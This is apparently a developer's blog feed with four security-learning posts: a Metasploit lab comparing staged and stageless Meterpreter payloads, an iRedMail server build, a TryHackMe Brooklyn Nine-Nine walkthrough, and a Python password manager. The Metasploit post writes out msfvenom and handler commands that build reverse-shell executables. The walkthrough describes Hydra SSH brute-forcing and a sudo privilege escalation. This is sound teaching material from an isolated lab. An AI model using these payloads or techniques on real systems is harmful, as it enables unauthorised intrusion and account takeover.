Forem: Vibhav Chennamadhava

Metasploit Deep Dive: Staged vs. Stageless Payloads — A Practical Lab

Vibhav Chennamadhava — Fri, 16 Jan 2026 05:26:44 +0000

Metasploit Deep Dive: Staged vs. Stageless Payloads
If you’re learning Metasploit, you’ve probably typed one of these without thinking too hard:

windows/meterpreter/reverse_tcp windows/meterpreter_reverse_tcp
They look almost identical. One slash. One underscore. Easy to copy-paste, easy to forget.

I used to treat them the same way—until I actually built a lab to see what really happens under the hood. And that’s where things got interesting.

This article walks through a hands-on lab where I compared staged vs. stageless payloads, broke a few things along the way, and finally understood why this distinction matters in real attacks.

Why This Difference Matters (Especially for Beginners)
Early on, it’s tempting to think exploitation is about memorizing commands. Run msfvenom, start a handler, wait for a session.

But the real skill isn’t in typing commands — it’s in understanding how payloads are delivered, what can fail, and why one payload works while another dies silently.

Staged vs. stageless payloads are a perfect example of this.

The Lab Setup (Nothing Fancy, Just Real)
For this project, I kept the environment simple and realistic:

Attacker: Kali Linux with Metasploit Framework

Target: Windows VM

Network: Host-only / internal lab network

Delivery: Payload hosted via Apache

Goal:

Get a Meterpreter session

Perform post-exploitation (recon + admin account creation)

Everything was done in an isolated lab I control.

Payload Theory (Quick, Practical Version)
Before touching commands, here’s the mental model that finally clicked for me:

🧩 Staged Payload
Small initial payload (the “stager”)

Connects back to the attacker

Downloads the full Meterpreter stage into memory

Pros:

Smaller executable

Flexible, modular

Cons:

If the second stage is blocked → session dies

🧱 Stageless Payload
Entire payload bundled into one executable

No second-stage download

Pros:

More reliable in restricted networks

Fewer moving parts

Cons:

Larger file

Easier to flag by AV

Same goal. Very different delivery.

Part 1: The Staged Payload Attack
Generating the Payload
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.56.101 LPORT=443 \
-f exe -o staged.exe
This payload is intentionally small. It’s not Meterpreter yet — it’s just enough code to call home and ask for the rest.

Setting the Handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 443
exploit -j
Important:
If the payload here doesn’t exactly match what you used in msfvenom, nothing works. No errors. No warnings. Just… nothing.

I learned that the hard way.

Execution & Session
Once the victim runs the executable, the stager connects back, pulls the full Meterpreter payload, and opens a session.

When it works, it feels great.

When it doesn’t, you’re staring at logs wondering what you broke.

Part 2: The Stageless Payload Attack
Now for the underscore payload.

Generating the Payload
msfvenom -p windows/meterpreter_reverse_tcp \
LHOST=192.168.56.101 LPORT=443 \
-f exe -o stageless.exe
This time, everything is baked into one file.

Handler Setup
use exploit/multi/handler
set payload windows/meterpreter_reverse_tcp
set LHOST 192.168.56.101
set LPORT 443
exploit -j
When the victim executes this payload, the session opens immediately. No staging. No second download.

In restrictive environments, this difference matters a lot.

Post-Exploitation: What We Did After Access
Once Meterpreter was live, I treated this like a real post-exploitation scenario:

System enumeration (sysinfo)

Dropping into a shell

Creating a new administrator account

Running local exploit suggestion modules

This part matters because exploitation isn’t the finish line — it’s the starting point.

The “Aha” Moment
The biggest takeaway wasn’t the commands.

It was realizing that:

Payload choice affects reliability

Network controls affect staging

A “session closed” error usually means delivery failed, not “Metasploit is broken”

Once you understand that, debugging becomes logical instead of frustrating.

Common Frustrations (That I Definitely Hit)
❌ Session opens then immediately closes

❌ No callback because LHOST was wrong

❌ Firewall silently blocking staged payloads

❌ Payload/handler mismatch

These aren’t beginner mistakes — they’re normal. What matters is knowing where to look and why it failed.

So… Which Payload Should You Use?
There’s no universal answer.

Staged payloads ->Smaller, More flexible, Risky in filtered networks

Stageless payloads-> Larger, More reliable, Easier to detect

Good attackers (and good defenders) understand both.

Final Thoughts
If you’re learning Metasploit, don’t stop at “I got a session.”

Build labs where:

Things break

Sessions fail

You have to reason through why

That’s where real skill develops.

I’ve documented the full lab — commands, screenshots, and walkthrough — here:
👉 GitHub Repo:
https://github.com/VibhavChennamadhava/Metasploit-Staged-vs-Stageless-Payloads

Build this lab yourself. Break it. Fix it.
That’s how it sticks.

Built My Own SMTP Mail Server using iRedMail

Vibhav Chennamadhava — Fri, 16 Jan 2026 02:20:57 +0000

I Built My Own SMTP Mail Server (and Learned Why Email Is Hard)
Email feels boring. It’s just… there. You sign up for a service, you get a verification link, life moves on. But at some point I realized something embarrassing for someone who likes networking and security:

I had never actually built an email server.

So I decided to fix that.

This post is about how I built a fully working SMTP mail server from scratch on a VPS, wired it to my own domain, fought DNS demons, broke TLS configs, landed in Gmail spam, and eventually saw that beautiful moment where an external reply landed back in my inbox.

This wasn’t about production readiness or scaling.
This was about learning how email actually works under the hood.

The Why: “I Should Probably Know This”
If you’re into backend, security, or infrastructure, email keeps popping up:

Password resets

Alerts

Phishing detection

SPF / DKIM / DMARC checks in security tools

Mail logs in incident response

And yet, most of us just treat it as a black box.

I wanted to understand

What actually happens when you hit “Send”

Why emails get marked as spam

Why everyone warns you: “Don’t run your own mail server”

So I did exactly that. 😅

What I Built (High-Level)
I set up a real SMTP mail server for my domain:

Domain: vibinsec.live

Mail host: mail.vibinsec.live

Stack: iRedMail on Ubuntu (Postfix + Dovecot + friends)

Webmail: Roundcube

Admin panel: iRedAdmin

TLS: Let’s Encrypt

Auth: SPF, DKIM, DMARC

Reverse DNS (PTR): Configured at the VPS provider

And most importantly:

✅ Sent mail to Gmail
✅ Received replies back
✅ End-to-end email flow actually worked

No mock servers. No localhost-only magic.

The Architecture (a.k.a. “So Many Moving Parts”)
Here’s what’s really running when you say “mail server”:

Postfix – handles SMTP (sending & receiving mail)

Dovecot – handles IMAP (reading mail)

Amavis / DKIM tools – signs outgoing mail

Nginx – serves Roundcube and admin panels

DNS – A, MX, TXT records doing half the trust work

TLS – not just for HTTPS, but SMTP and IMAP too

Nothing here is conceptually insane.
But the integration is where the pain lives.

The Juicy Part: The Struggles
This project humbled me. Repeatedly.

DNS Is Where Hope Goes to Die Setting up:

A record

MX record

SPF

DKIM

DMARC

…sounds straightforward until you realize:

One typo = silent failure

Propagation delays make debugging awful

Every provider has a slightly different UI

I spent a lot of time thinking something was broken when it was just DNS not updating yet.

Skill gained:
Real-world DNS troubleshooting and patience I didn’t know I needed.

Reverse DNS (PTR) Is Not Optional I learned this the hard way.

Everything looked right.
SPF? Good.
DKIM? Signed.
TLS? Enabled.

Still landing in spam.

Turns out:

If your server IP doesn’t reverse-resolve to your mail hostname, many providers don’t trust you.

Configuring PTR records meant going into the VPS provider’s dashboard, not my domain registrar. That mental context switch was easy to miss.

Lesson: Email trust is reputation-based and unforgiving.

TLS Everywhere (Not Just the Website) I thought:

“Cool, Let’s Encrypt for HTTPS. Done.”

Nope.

Mail servers need TLS for:

SMTP (Postfix)

IMAP (Dovecot)

Webmail (Nginx)

That meant manually pointing each service to the right cert paths and restarting everything without breaking it.

One wrong file path = service won’t start.

Skill gained:
Reading logs instead of guessing.
Seriously, mail logs are your lifeline.

DKIM: Cryptography Meets Copy-Paste Fear DKIM was one of those moments where you know it’s important, but it still feels sketchy:

Extract public key from the server

Add it as a TXT record

Hope nothing is truncated

Wait for DNS

Test again

When it finally validated, I actually felt relief.

Skill gained:
Understanding how cryptographic trust is applied at the protocol level, not just theory.

Spam Happens (Even When You Do Everything Right) My first Gmail test landed in spam.

Honestly? That was expected.

New domain.
New IP.
Zero reputation.

This taught me something important:
Correct configuration doesn’t guarantee trust. Time does.

What I Actually Learned (Hard + Soft Skills)
Hard Skills
SMTP, IMAP, and how they interact

Postfix and Dovecot basics

DNS beyond “add an A record”

SPF / DKIM / DMARC in practice

TLS for non-HTTP services

Reading and trusting system logs

Soft Skills
Debugging layered systems

Slowing down instead of randomly changing configs

Accepting that some problems just need time (DNS, reputation)

Not panicking when email disappears into the void

Proof It Worked (The Best Part)
The moment that mattered:

Sent an email from Roundcube

Saw it arrive externally

Got a reply

Watched it land back in my inbox

That’s when it clicked.

“Oh. This is the entire email system. I built this.”

Would I Run This in Production?
Absolutely not. 😄
Running mail servers long-term is a responsibility I respect a lot more now.

But as a learning project?

This was gold.

What I’d Improve Next
If I take this further:

Automated TLS renewals + service reloads

Better spam filtering visibility

Monitoring and alerting on mail queues

IPv6 tuning and reputation management

Final Thoughts
If you’re into backend, infra, or security and you’ve never built a mail server, I honestly recommend doing it once.

Not because it’s fun (it’s not).
Not because it’s easy (it isn’t).

But because email touches everything, and understanding it makes you a better engineer.

If you want the full step-by-step lab with screenshots, configs, and commands, the full README is here:
👉 GitHub: https://github.com/VibhavChennamadhava/Designing-an-SMTP-Mail-Server-Using-iRedMail

If you try this yourself:
Good luck.
Read the logs.
And don’t forget the PTR record. 😄

Brooklyn99 pwned!

Vibhav Chennamadhava — Wed, 14 Jan 2026 05:14:58 +0000

Rooting the Brooklyn Nine Nine TryHackMe Room – My experience,
I recently completed the Brooklyn Nine Nine room on TryHackMe, and it turned out to be a really solid box that reinforces the importance of enumeration, patience, and chaining small misconfigurations to get full control of a system.

Recon & Enumeration
Firstly, I started with an Nmap scan to understand what I was dealing with. The scan revealed three open ports:

21 (FTP) with anonymous login enabled

22 (SSH)

80 (HTTP) running Apache

Seeing anonymous FTP tingled my bells immediately for entry.

FTP Access
Logging into the FTP service as anonymous worked without any issues. Inside, I found a file called note_to_jake.txt. After downloading and reading it locally, the note warned Jake about using a weak password — a clear hint that brute-forcing SSH might be viable.

Cracking SSH
Using that hint, I ran Hydra against the SSH service with the rockyou.txt wordlist. Sure enough, Jake’s password was extremely weak and easy had that in less than 2 min with valid credentials in hand, I logged in as jake via SSH.

User Flag
Once logged in, I began enumerating the system. Checking the /home directory revealed multiple users, including holt. Inside Holt’s home directory, I found and captured the user flag.

Privilege Escalation
The next step was escalating privileges. Running sudo -l showed that Jake could run /usr/bin/less as root. This was it.

By using less with sudo, I was able to access /root/root.txt and effectively gain root-level access, completing the box and grabbing the root flag.

I came to know that the room could also be solved a different way
if you guys know lmk~

This room was a great reminder that:

Enumeration is everything

Weak passwords are still a real-world problem

Small sudo misconfigurations can lead directly to root

Overall, Brooklyn Nine Nine was a fun and educational challenge

Nine-Nine. 🚓

Building a Secure Password Manager

Vibhav Chennamadhava — Sat, 03 Jan 2026 18:36:30 +0000

Building a Secure Password Manager in Python (AES-256, Tkinter)
Python 3.9+
Security: AES-256-GCM

Overview

This project is a secure desktop password manager built using Python and Tkinter, designed to store and manage credentials locally using strong encryption and secure UX patterns.

The goal was to design the application with security-first principles, similar to real-world password managers, while keeping the implementation understandable and auditable.
GitHub Repo: [🔗 GitHub Repo: https://github.com/VibhavChennamadhava/Password_manager]

Core Design

High-level flow:

Master Password
PBKDF2 Key Derivation
AES-256-GCM Encryption
Encrypted Vault File (vault.enc)

Key rules enforced:

Master password is never stored
Passwords are never written to disk in plaintext
Vault is decrypted only in memory
Passwords are never auto-displayed

Cryptography Implementation

Key Derivation

PBKDF2 (SHA-256) with a randomly generated salt
High iteration count to slow brute-force attacks
Produces a 256-bit key for encryption

Encryption

AES-256-GCM for authenticated encryption
Provides confidentiality and integrity
Any tampering with the vault file causes decryption to fail

The encrypted vault is stored locally as a single file named vault.enc.

Vault Design

Vault is stored as encrypted JSON
Exists only in memory after login
Entire vault is encrypted as one unit
No partial or plaintext storage

{ "entries": [ { "site": "facebook", "username": "testuser", "password": "secret123" } ] }

User Interface (Tkinter)

The UI was built using Tkinter for simplicity and security.

Screens:

Login Screen – Master password authentication
Vault Screen – Displays only site and username
Add Password Screen – Secure input with toggle

Passwords are never shown by default.

Show / Hide Password Toggle

While adding a new password, users can toggle visibility to verify input:

Password masked by default
Toggle affects only input field
No exposure in the main vault view

This prevents shoulder surfing while keeping usability intact.

Viewing Passwords (Explicit Action Only)

Passwords are revealed only when the user:

Selects an entry
Clicks View Password

This ensures:

No accidental exposure
Clear user intent
Secure UX behavior aligned with real password managers

One-Click Copy and Auto-Clear Clipboard

Instead of forcing users to view passwords:

Copy Password button copies the password to clipboard
Clipboard auto-clears after 15 seconds

This reduces screen exposure and mitigates clipboard leakage risks.

Security Highlights

AES-256-GCM encryption
PBKDF2 key derivation
No plaintext passwords on disk
Decryption only in memory
No logging of secrets
Clipboard auto-clear
Explicit password access

This design mirrors security patterns used by tools like KeePass and Bitwarden.

Project Structure

PasswordManager

password_manager.py (encryption and vault logic)
ui.py (Tkinter UI)
vault.enc (encrypted vault, auto-created)
salt.bin (cryptographic salt)
screenshots/
README.md

PasswordManager UI:
🔐 Login Screen
Secure master password authentication to unlock the encrypted vault.

➕ Add New Password
Add website credentials with a secure password input and show/hide toggle.

Vault View
View saved accounts, securely retrieve passwords, or copy them with auto-clear clipboard protection.

It serves as a practical example of applying cryptographic fundamentals to a real desktop application.

GitHub Repo: [🔗 GitHub Repo: https://github.com/VibhavChennamadhava/Password_manager]